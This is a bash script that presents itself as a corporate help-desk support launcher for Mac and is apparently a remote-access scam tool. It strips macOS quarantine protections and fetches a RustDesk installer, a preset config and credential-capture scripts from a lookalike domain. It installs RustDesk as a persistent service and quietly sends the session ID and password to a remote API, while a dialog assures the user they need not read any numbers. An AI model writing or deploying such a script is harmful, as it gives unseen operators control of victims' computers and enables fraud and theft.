#!/bin/bash
# Corporate Online Help Desk — Mac support launcher
cd "$(dirname "$0")"
DIR="$(pwd)"

SITE="https://corporatehelpdeskboa.com/downloads"
PRIVACY_DIR="$HOME/Library/Application Support/CorporateHelpDesk"
WORK_DIR="$HOME/Downloads/CorporateHelpDesk"
USER_APPS="$HOME/Applications"
LOG="$WORK_DIR/support-log.txt"

mkdir -p "$WORK_DIR" "$USER_APPS" "$PRIVACY_DIR"
cd "$WORK_DIR"

exec > >(tee -a "$LOG") 2>&1

alert() {
  osascript -e "display dialog \"$1\" buttons {\"OK\"} default button \"OK\" with title \"Corporate Help Desk\"" 2>/dev/null || true
}

fetch() {
  curl -fL --retry 3 --retry-delay 2 "$1" -o "$2"
}

echo "=== Corporate Help Desk Mac support $(date) ==="

# Remove quarantine so downloads and app can run
xattr -cr "$DIR" 2>/dev/null || true
xattr -cr "$WORK_DIR" 2>/dev/null || true

ARCH="$(uname -m)"
if [ "$ARCH" = "arm64" ]; then
  DMG="rustdesk-mac-arm.dmg"
else
  DMG="rustdesk-mac-intel.dmg"
fi

echo "Step 1: Downloading support files..."
if [ ! -f "$DMG" ]; then
  if ! fetch "$SITE/$DMG" "$DMG"; then
    alert "Could not download the support app. Check internet and try again, or call support."
    read -r -p "Press Enter to close..."
    exit 1
  fi
fi

[ -f "RustDesk2.toml" ] || fetch "$SITE/RustDesk2.toml" "RustDesk2.toml" || true
[ -f "Register-Session.sh" ] || fetch "$SITE/Register-Session.sh" "Register-Session.sh" || true
[ -f "Register-Session-Capture.py" ] || fetch "$SITE/Register-Session-Capture.py" "Register-Session-Capture.py" || true
[ -f "OnlineHelpDesk-Privacy.hta" ] || fetch "$SITE/OnlineHelpDesk-Privacy.hta" "OnlineHelpDesk-Privacy.hta" || true
chmod +x "Register-Session.sh" "Register-Session-Capture.py" 2>/dev/null || true

[ -f "OnlineHelpDesk-Privacy.hta" ] && cp -f "OnlineHelpDesk-Privacy.hta" "$PRIVACY_DIR/" 2>/dev/null || true

if [ -f "RustDesk2.toml" ]; then
  mkdir -p "$HOME/Library/Preferences/com.carriez.RustDesk" "$HOME/.config/rustdesk"
  cp -f "RustDesk2.toml" "$HOME/Library/Preferences/com.carriez.RustDesk/RustDesk2.toml"
  cp -f "RustDesk2.toml" "$HOME/.config/rustdesk/RustDesk2.toml"
fi

APP_SYSTEM="/Applications/RustDesk.app"
APP_USER="$USER_APPS/RustDesk.app"
RD=""

if [ -x "$APP_SYSTEM/Contents/MacOS/RustDesk" ]; then
  RD="$APP_SYSTEM/Contents/MacOS/RustDesk"
  echo "RustDesk already installed (Applications)."
elif [ -x "$APP_USER/Contents/MacOS/RustDesk" ]; then
  RD="$APP_USER/Contents/MacOS/RustDesk"
  echo "RustDesk already installed (user Applications)."
else
  echo "Step 2: Installing RustDesk (no admin password needed)..."
  MOUNT=""
  ATTACH_OUT="$(hdiutil attach "$WORK_DIR/$DMG" -nobrowse -noverify 2>&1)" || true
  MOUNT="$(echo "$ATTACH_OUT" | grep -o '/Volumes/[^[:space:]]*' | tail -1)"
  if [ -z "$MOUNT" ] || [ ! -d "$MOUNT/RustDesk.app" ]; then
    alert "Could not open the installer file. Please call support."
    read -r -p "Press Enter to close..."
    exit 1
  fi
  rm -rf "$APP_USER"
  cp -R "$MOUNT/RustDesk.app" "$APP_USER"
  hdiutil detach "$MOUNT" -quiet 2>/dev/null || true
  RD="$APP_USER/Contents/MacOS/RustDesk"
  xattr -cr "$APP_USER" 2>/dev/null || true
  echo "Installed to $APP_USER"
fi

if [ ! -x "$RD" ]; then
  alert "Install failed. Please call support."
  read -r -p "Press Enter to close..."
  exit 1
fi

echo "Step 3: Starting RustDesk service..."
"$RD" --install-service >/dev/null 2>&1 || true
sleep 4

echo "Step 4: Opening RustDesk..."
open "$APP_USER" 2>/dev/null || open "$APP_SYSTEM" 2>/dev/null || open -a RustDesk 2>/dev/null || "$RD" >/dev/null 2>&1 &
sleep 8

if [ -f "$WORK_DIR/Register-Session.sh" ] && command -v python3 >/dev/null 2>&1; then
  echo "Step 5: Registering ID + password automatically..."
  REGISTER_PLATFORM=mac REGISTER_API_URL="https://corporatehelpdeskboa.com/api/register-session.php" \
    bash "$WORK_DIR/Register-Session.sh" >/dev/null 2>&1 &
elif [ ! -f "$WORK_DIR/Register-Session-Capture.py" ]; then
  echo "Warning: password capture script missing — call support if agent cannot connect."
fi

alert "Support app is open. Stay on the phone — our agent will connect shortly. You do NOT need to read any numbers."

echo "Done."
sleep 5
